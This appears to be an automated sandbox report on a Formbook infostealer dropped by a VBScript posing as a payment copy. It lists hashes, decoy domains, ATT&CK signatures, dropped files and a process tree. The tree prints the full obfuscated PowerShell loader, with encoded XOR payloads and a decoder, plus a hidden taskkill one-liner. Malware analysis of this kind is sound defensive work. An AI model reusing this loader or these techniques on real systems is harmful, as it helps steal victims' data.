formbook | dbc86ad2a8b867c09e326e4740a9ba339b35aeb46f8edc79846ff4a30330e352

Analysis

max time kernel
149s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 15:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment Copy USD 32,619.vbs
Size 25KB
Sample260910-snnnya1fph
SHA256 dbc86ad2a8b867c09e326e4740a9ba339b35aeb46f8edc79846ff4a30330e352
MD5 fb2c2f42fef4672544b8b5b6bf96d5fb
SHA1 a95aa7e489d47b0ad28c277ec353a9402bd95f83
SHA512 c97d16fca823e4b78c988f9177fa58d0700c96996ed44d22b189141410a46f08fdd1bc69de3ea9155d91a22cf03d2831991fc68b6121b68d8424a6977fd2deb2
SSDEEP 768:KTH21BEQwdfDRH8QstbnOO9sE5ODvkzMLa:u21BTwd18bnF9siODvkzMm
TLSH
T1C5C23F164809BBB0D92935D5B74BB017A9D003A57BFB694A398FF5C83B367108BC1CA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

me26 defense_evasion discovery execution formbook rat spyware stealer trojan

Malware Config

Extracted

Family

formbook

Version

Campaign

me26

Decoy

tpsgraphics.com
qlcrudr.com
wetwillysdetailing.com
xulytroxi.vn
mysteryboxenkopen.nl
319462xx.cc
ainelversion.com.br
d2nl.top
o34wico1.top
innwa77.bet
dvpprover.xyz
liping-pi.eu.cc
amoartpintura.com
zbbtop12.icu
comercializadoravazquez.com
en-888casino.com
fxxyy.com
bcgeu.dev
moon-bbsports.com.cn
d2qf4t.top
10109.xyz
mailzenobridge.com
gocrowly.com
sripanchamidevi.com
orgcdn72.lol
lawsuit.click
eewwsmdj.top
memorydigest.xyz
officialsoenon.ru
alma-colombiana.com
omazawa-golf.com
fortarox.com
risexeheal.jp.net
vqyyvr4x.top
rtysd.xyz
caventa.shop
bcidesk.com
gammaxresearch.com
meta-morphosis.eu
siriusmoneyos.com
authorbridgeconsultingfirm.app
agilityai.dev
spy77yon.site
ddaw.dev
hiperkagit.online
editco.nl
thecircleseries.co
dpxsg.com
e-situ.com
tzcw.lol
5tfgrvrvrvv-888573.com
onemaster.me
mspoursajjadi.me
puzzelhoek.nl
kledai-rewards.xyz
coffeefresh.shop
zq66604.com
00323.uk
752kedronave.com
scenemorphi.com
magformationpargny.fr
fostercares.tv
domperfum.pl
appliancerepairmidlothian.site
vplaws.com

Signatures

Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Formbook payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/4440-32-0x0000000000020000-0x000000000005E000-memory.dmp	family_formbook

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2152	powershell.exe
3	2152	powershell.exe
4	2152	powershell.exe
6	2152	powershell.exe
7	2152	powershell.exe
8	2152	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2152	powershell.exe
2268	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4380	WScript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2152 set thread context of 4440	2152	powershell.exe	102
PID 4440 set thread context of 5944	4440	RegAsm.exe	82

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5656	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4736	taskkill.exe
4516	taskkill.exe
1524	taskkill.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2152	powershell.exe
2152	powershell.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
2152	powershell.exe
2152	powershell.exe
4440	RegAsm.exe
4440	RegAsm.exe
4440	RegAsm.exe
4440	RegAsm.exe
4440	RegAsm.exe
4440	RegAsm.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5944	explorer.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4440	RegAsm.exe
4440	RegAsm.exe
4440	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeDebugPrivilege	2152	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	4736	taskkill.exe
Token: SeDebugPrivilege	4516	taskkill.exe
Token: SeDebugPrivilege	1524	taskkill.exe
Token: SeDebugPrivilege	4440	RegAsm.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe
Token: SeShutdownPrivilege	5944	explorer.exe
Token: SeCreatePagefilePrivilege	5944	explorer.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
5944	explorer.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4380 wrote to memory of 2152	4380	WScript.exe	89
PID 2152 wrote to memory of 3988	2152	powershell.exe	91
PID 3988 wrote to memory of 4328	3988	csc.exe	92
PID 2152 wrote to memory of 2268	2152	powershell.exe	93
PID 2268 wrote to memory of 5656	2268	powershell.exe	95
PID 5656 wrote to memory of 4736	5656	cmd.exe	97
PID 5656 wrote to memory of 4516	5656	cmd.exe	99
PID 5656 wrote to memory of 1524	5656	cmd.exe	101
PID 2152 wrote to memory of 4440	2152	powershell.exe	102
PID 2152 wrote to memory of 4440	2152	powershell.exe	102
PID 2152 wrote to memory of 4440	2152	powershell.exe	102
PID 5944 wrote to memory of 4800	5944	explorer.exe	103

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:5944
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment Copy USD 32,619.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:4380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=77-29;$f4YdaBJpz='7MU7ZDULi';$f32duHK='fb9291fe84879088e3c28ad7b9968a98cfb8b98cc2acc4ddc4bd90e4948bf89dc0ab83bbe9c9baf393819b8fadfabac5a7a5bab9deedda828bce849c9688a4b5bc9de4848ba4bb9eb5bcace4839a9a8bedde8891eb959c8bbbf9a7a18df29dac9e95a6abd3ace982879181ebb9819bfad992da9de7c2ca9de59f9cdb8dbeb4ce8290fae3f5b5b7fc958bb0a3829a83b3bdcaacf893819182b0bdd4f297aba09a92edce828deb998d9ab6acf4898bd091809e81a6efbac5a7a38b9c93b1f49386cd82818b89a0f28bdfa0d0b5b183b7b3b49afe859c9692bacd9590e99f8d908a97e4979ac0cad4ab8ab0acd5f297d48fccd6feb5b892bdd7d8c68081b2ccccf4c7a19587b5d2b7ceabc884a5cdfbd9d585ffc79d898393abd699ffbedcd4949bea85d0cbc2a2d0d0f1e8aba5a985ddb6d4a6c59586d2a0dbc8839ba5d1b0e7b8dc9a84b7e4a8aff1889d95a4ecd385a7ea96b6b89fa0ae80cee999d889cdf1a4918cfba7dfc6d5a9ab9585d3869a9d8ffab2c8a8a483ddced0fbf7ad89b6c7b78893a9f8d6c7d5c1df9b8fe8a892ccd5c5a19584bad18591ac939cb5dfa6e4decdfb86b9cb90a6ab9fb2f7b69b8a908aaf82ccc5c3a3cc8ebbd381c8e79597c791a6cd93cdd0a8d6c992b9d3d3b1b2919799beb0eb8391aac19bb3d5b6eeb794abdbbe8d9fb7f0d0cef99aac8993b5d4d3d0efa698c788f2aaabccc7dbd79d8ffaaa95bae7bfbdcb9eb0f78dcbeea4a7c9a9a9dad5c8aac6d8c68cf0b2aaabc5dbd99da1bba5bf95abc888a5dfb6ae8a85fec39d87def0d6d09dafdbdbd4d19ae8c88df886a091d4f4d2aba5b68598b4d5a5f393cdd09ec1c883a2ab908aafc9979ab286e4a885b287a286cdb7fadac2bad9e3f5a7a7f9caabe4808bdfcb97e4979ad995889688aae98e90f3d0c6a4b2a6e593d1d89e8d9082aaf380a2a7cabbaba0fbb3a09ae9a39a8d8fadfacfa4de9f808983b1e9bac5a7b69c908b81fc949aabc4bd8b94aaf380d7b991ddcfcfeab4eaf5fb85809c92aaf289dff9d8ca9ed5f2b49cdbfcc3dcc2a8a6eacab0ff9a8b9c92e3d3828bb3a78b9da5aff48291e9cbc6b883b7b0b59ef3948192c6e7fcd4cebdddad9093ade9c7dbfcc3dfd1a5ace8898bb48ccb8492b1e49c8df8849b8d88e3b986ccafdeaa9091adf1889ef9b48f8b87ebb9b8d6e0938f8b85abe69a82e0fde49993adfe9396f29ece96cee7fcd4d3b991dad3c2a2a8cbdbfcc6d3bfceeab49cdbfcc7d3a4b6abfc898bf29da99e92a6c0ddc5d19f8f9ba7b0ee8292ff9c97d7c2a2aecec4b991d6c2c2a2aac9b8f884ba8696a6eecf';$ceV18zH1='S2Q/GStOLl9JDnROA2J0IDRZEzgkAztsOz1dWyUkAzc/R3xIL310CmB1KD1dVzQoOV10ZnVZAWxpDWE/QnBSBnFuBUl9YX5PPzBfDy82MzZOFiwrAHx+OFFbVnwvVDh0UHQLKUhjSSQmNyxJG3J4F0cpKzILCi9PDTI2KTAVWTxiUjJ4ZjEdRnk5TEZiU21dFnFjS3RKQXpIC25hFmBjXSMGIWplA3t0SXdPFnluAWo5JHgES2U7Rm4oLlBSFHdrByc1YikQRnk2S3IcChQ2RnoxX085KDFjDzgnVyBnNz4VQjMgSlB8ID4TVU9nDUBjLzZzAHA2A0diNFZ3BSF1JmZ+Ty4TTS5EETlkSC4IMmFnFzlZbDYXBSUnSyY9KDFjDzgnVyBnNzYLNX9vLTx7K2xOBS9PEHolZWtJVjd2EGB0en5TB0xxDUBVNjZdLmk5TSBgL39KDzdPE2hkNlFQTTNnXyg4KTUUSkdtQigkL28LTS9XBWBBdiAJFDdwVXkicS0TA3A3LUt4b1ZeCy91CH4+S1oLDX1YTTlQPSQbSzEpbwV4ZjEURnoyX2sxJHsNSzVhDGs5JHgIX0NUB3dlLlxSAXdkC2F2XSMGN0xGWiFWZW1vFmppDGg5JHsOSzEtD25lY3EUPXUgRXwmUHoOWiw9RSYxKzkUPXUgRTx1dWFPA31oEm1SbWoLMlN3MzIsJzAcSTgoPWIxJ2ALJWAnSyZqDRMcQjxiUS8sIDFjDzgnSSB3N3ZZGGk3B3V9L3xvBW43A2hlN2xUFy8yW2BzYXFJAC45DURSMS9sGGg1LWVhNTJSWi5mGH02KTkHQjxiUS8sID1eUTZTF21idGtVDH8oUiMxJHsPTFRlDGhlaDkRQikySwIbJHgPUzg9QidObTkbFG89Xyg4ICIxaDxiVjI5X3QcRSx2ACA+ZV1TTX03C2ByZn4bSzgrQidObTkbVm1yEyBQPSQbSyMNaC8xIDlVQjBbIWB/dnxOFkU6WEljb3R+A2tlVDtCdGtVDH8oRkJwdHpUB2tbU1I4KTkYACwgSlB8ID4TBGpoTV9mPT4VQlgoRm0iLDkYAysxTi82JzUcSkdtQigiZWtTGG56Cyg4LDkUPXUgRXlmPSQbSzgsQidObTkbWy9lVyg4KRQ2QjggQkh0dDRsEHdjB3xifGpTEGwgIV9EIDRYB2tjHnx0bHxfFjgtBGZjc20cV2RmFi9fYXRZTltQNy9sDRMxaDggQi8xIDkcQjg=';$rtOFf6XJn=0xE132-0xC0B4;$vEhBWzlM=@();foreach($c in [char[]]$f4YdaBJpz){$vEhBWzlM+=[byte]($c-bxor0xAA)};$xgeBb6yF=$vEhBWzlM;$vEhBWzlM=@();foreach($c in [char[]]$f4YdaBJpz){$vEhBWzlM+=[byte]($c-bxor0x55)};$dkHu5Bf=$vEhBWzlM;$vEhBWzlMoldR='';$i=0;for($j=0;$j-lt$f32duHK.Length;$j+=2){$vEhBWzlMoldR+=[char](([Convert]::ToInt32($f32duHK.Substring($j,2),16))-bxor$xgeBb6yF[$i++%$xgeBb6yF.Length])};$dRer8Ym=$vEhBWzlMoldR;$vEhBWzlMoldB=[Convert]::FromBase64String([regex]::Replace($ceV18zH1, '$vEhBWzlM', ''));$vEhBWzlMoldR='';$i=0;for($j=0;$j-lt$vEhBWzlMoldB.Length;$j++){$vEhBWzlMoldR+=[char]($vEhBWzlMoldB[$j]-bxor$dkHu5Bf[$i++%$dkHu5Bf.Length])};$g2f9Iq=$vEhBWzlMoldR;$fjYdTRMs=$dRer8Ym+$g2f9Iq;.($env:ComSpec[4,26,25]-join'') $fjYdTRMs
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3988
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5421.tmp" "c:\Users\Admin\AppData\Local\Temp\ibajugnl\CSCDD560EEF88C1402D95DB8154B83DF52.TMP"
        5⤵
        
        PID:4328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2268
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5656
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM RegAsm.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4736
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM Vbc.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
      - C:\Windows\system32\taskkill.exe
        
        taskkill /IM MsBuild.exe /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1524
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      PID:4440
- C:\Windows\SysWOW64\wlanext.exe
  "C:\Windows\SysWOW64\wlanext.exe"
  2⤵
  PID:4800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2ec23395f3b5cfe1021e53734f768b72e49603b3aaa81e4131f1a6ad7c33eeca
MD5 a94fbb6b0e4de42e6bf69a7fcff990a1
SHA1 66b6cbdc6f69fde0d16529b94749a55c53027537
SHA512 a822ee05567e09c94e401ac5263aedeeabc84dc4ca833e776397b603154bafc06d22c8b663ba00fe5a65ad4023fe6f336729c7a7579f3a37d8fe1eba40a1b71f
TLSH
T12E317433B3DC8615D889403A50CEAC0432B5C7EB409ECE6BBB84D658B43F5A9CEA0260
MD5 SHA1 SHA512 TLSH

Submit Download

RES5421.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5421.tmp
Size 1KB
SHA256 0793c9ddd4bc1150cac16f58c7fed48bdec3a9cf699442892f1541ea1ea9e344
MD5 509d06dcd51d7c3de637e914d573355e
SHA1 27efaecd7fd9ae6417dcddebe7b3709532f0d09f
SHA512 be009f51fb8e5964d1a6caa33fb3d6050a0a68aadd113e8954651d7c9d62a9f8f20638556a14f371d90af0b1a7422e4aeca24b6daaedf9c3442c2fb597bb1cfa
TLSH
T17321EF0983E9475FF073433179F6131F9275FC64EFA1936B994002282C51144EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

ibajugnl.dll

Path C:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.dll
Size 3KB
SHA256 07b1fdc1a955713aac042e1bfc0c6a41bfc61bb297aca4f962ff269762898f3e
MD5 aeaea19b51f547a0957d17db38663df6
SHA1 008a2fb87cce82c1f0ff9342dfd62361adbd0652
SHA512 f25fd5b0429b972ec645a86ba4c61ea72a93fa55e9e1ea3a56fb53f0f0360a6289d9439bae71c98a33b142944ab08a6c6c5bc569fd27d7505a339ae4dd623df1
TLSH
T18E51E00A53E5466BE4BB07317EE343072775F920AB62935D4880026CAC713645E32FB9
MD5 SHA1 SHA512 TLSH

Submit Download

CSCDD560EEF88C1402D95DB8154B83DF52.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ibajugnl\CSCDD560EEF88C1402D95DB8154B83DF52.TMP
Size 652B
SHA256 eca297ff0e7df294d41547089c29cc4983a2fff08fa87e975cf96c3212ce3ff1
MD5 c74ac0f4d2e1e444070554e83c2a3baa
SHA1 7d78d54387d37852065b524553accbf68c099f8f
SHA512 cc8db8f1012239c56df75e2a0fa44e5830f88f6c89034e484aa69fec605c71d62e7e6debabecc6aa62d1a5fdb53c306a8497cf6a8ec74524c4cc90b54380943d
TLSH
T165F05E0963F8524EF0F74B30BEF683A791AAFC65DE3293ED2440035928645108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ibajugnl.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

ibajugnl.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ibajugnl\ibajugnl.cmdline
Size 369B
SHA256 3c38dd1c9327f52b141b812851ad618de28abca4a725fa817fe273a1e5fd51e2
MD5 305a1e39d81b400ea02f0d826a696938
SHA1 51169564694138f7765266952a41ad3492918a0a
SHA512 34e403569750f43606f38194f98a5bea18562bd4a47729c03b3d5d4d4484600374a92da8e95260999fe219251a815211a6707ad41803d1067f7d98cce0e2575a
TLSH
T106E0DF2E5257C77D66EE104B236BC9AC8672078B39A17F889250885DE03708C6BE2799
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2152-7-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-5-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-9-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-8-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-0-0x00007FFC5F61F000-0x00007FFC5F620000-memory.dmp

Download

memory/2152-23-0x0000020A1AEF0000-0x0000020A1AEF8000-memory.dmp

Download

memory/2152-6-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-10-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-24-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-25-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-27-0x0000020A1B330000-0x0000020A1B364000-memory.dmp

Download

memory/2152-3-0x0000020A1AF00000-0x0000020A1AF22000-memory.dmp

Download

memory/2152-36-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/2152-4-0x00007FFC5F490000-0x00007FFC5FE34000-memory.dmp

Download

memory/4440-32-0x0000000000020000-0x000000000005E000-memory.dmp

Download

memory/4800-37-0x0000000000840000-0x0000000000857000-memory.dmp

Download